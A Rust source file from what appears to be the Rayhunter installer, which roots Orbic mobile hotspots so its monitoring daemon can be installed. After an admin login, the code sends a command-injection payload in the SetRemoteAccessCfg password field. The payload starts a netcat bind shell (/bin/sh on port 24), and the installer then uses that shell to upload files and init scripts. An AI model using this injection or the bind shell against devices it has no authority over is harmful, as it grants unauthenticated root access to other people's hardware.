Files
rayhunter/installer/src/orbic_network.rs
T
Markus Unterwaditzer 5e4174c9f3 address review feedback
2025-11-25 13:52:07 -08:00

289 lines
8.4 KiB
Rust

use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::output::{eprintln, print, println};
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
const TELNET_PORT: u16 = 24;
#[derive(Deserialize, Debug)]
struct ExploitResponse {
retcode: u32,
}
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
let client: Client = Client::new();
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
.send()
.await
.context("Failed to get login info")?;
let session_cookie = login_info_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.context("No session cookie received")?
.split(';')
.next()
.context("Invalid cookie format")?
.to_string();
let login_info: LoginInfo = login_info_response
.json()
.await
.context("Failed to parse login info")?;
if login_info.retcode != 0 {
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
}
// Parse priKey (format: "secret x timestamp")
let mut parts = login_info.pri_key.split('x');
let secret = parts.next().context("Missing secret in priKey")?;
let timestamp = parts.next().context("Missing timestamp in priKey")?;
if parts.next().is_some() {
bail!("Invalid priKey format: {}", login_info.pri_key);
}
// Step 2: Encode credentials
let username_md5 = format!("{:x}", md5::compute(username));
let timestamp_start = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
.context("Failed to encode password")?;
let login_request = LoginRequest {
username: username_md5,
password: encoded_password,
};
// Step 3: Perform login
let login_response = client
.post(format!("http://{}/goform/login", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", &session_cookie)
.json(&login_request)
.send()
.await
.context("Failed to send login request")?;
// Extract authenticated session cookie from login response
let authenticated_cookie = login_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
.unwrap_or(session_cookie);
let login_result: LoginResponse = login_response
.json()
.await
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
bail!("Login failed with retcode: {}", login_result.retcode);
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (kajeet has it) so we need to use netcat
.body(format!(
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
))
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(())
}
pub async fn start_telnet(
admin_ip: &str,
admin_username: &str,
admin_password: Option<&str>,
) -> Result<()> {
let Some(admin_password) = admin_password else {
anyhow::bail!("--admin-password is required");
};
print!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done");
Ok(())
}
pub async fn install(
admin_ip: String,
admin_username: String,
admin_password: Option<String>,
) -> Result<()> {
let Some(admin_password) = admin_password else {
eprintln!(
"As of version 0.8.0, the orbic installer has been rewritten and now requires an --admin-password parameter."
);
eprintln!(
"Refer to the official documentation at https://efforg.github.io/rayhunter/ for how to find the right value."
);
eprintln!();
eprintln!(
"If you are following a tutorial that does not include this parameter, the tutorial is likely outdated. You can run ./installer orbic-usb to access the old installer, however we recommend against it."
);
anyhow::bail!("exiting");
};
print!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
print!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
println!("done");
setup_rayhunter(&admin_ip).await
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
while telnet_send_command(addr, "true", "exit code 0", false)
.await
.is_err()
{
if start_time.elapsed() >= timeout {
bail!(
"Timeout waiting for telnet to become available after {:?}",
timeout
);
}
sleep(Duration::from_secs(1)).await;
}
Ok(())
}
async fn setup_rayhunter(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
// This is really only necessary for the Moxee Hotspot
telnet_send_command(
addr,
"mount -o remount,rw /dev/ubi0_0 /",
"exit code 0",
false,
)
.await?;
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", false).await?;
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
false,
)
.await?;
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
CONFIG_TOML
.replace(r#"#device = "orbic""#, r#"device = "orbic""#)
.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
false,
)
.await?;
telnet_send_command(
addr,
"chmod +x /data/rayhunter/rayhunter-daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
false,
)
.await?;
println!("Installation complete. Rebooting device...");
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
.await
.ok();
println!(
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
admin_ip
);
Ok(())
}
/// Root the Orbic device and open an interactive shell
pub async fn shell(
admin_ip: &str,
admin_username: &str,
admin_password: Option<&str>,
) -> Result<()> {
start_telnet(admin_ip, admin_username, admin_password).await?;
eprintln!(
"This terminal is fairly limited. The shell prompt may not be visible, but it still accepts commands."
);
interactive_shell(admin_ip, TELNET_PORT, false).await
}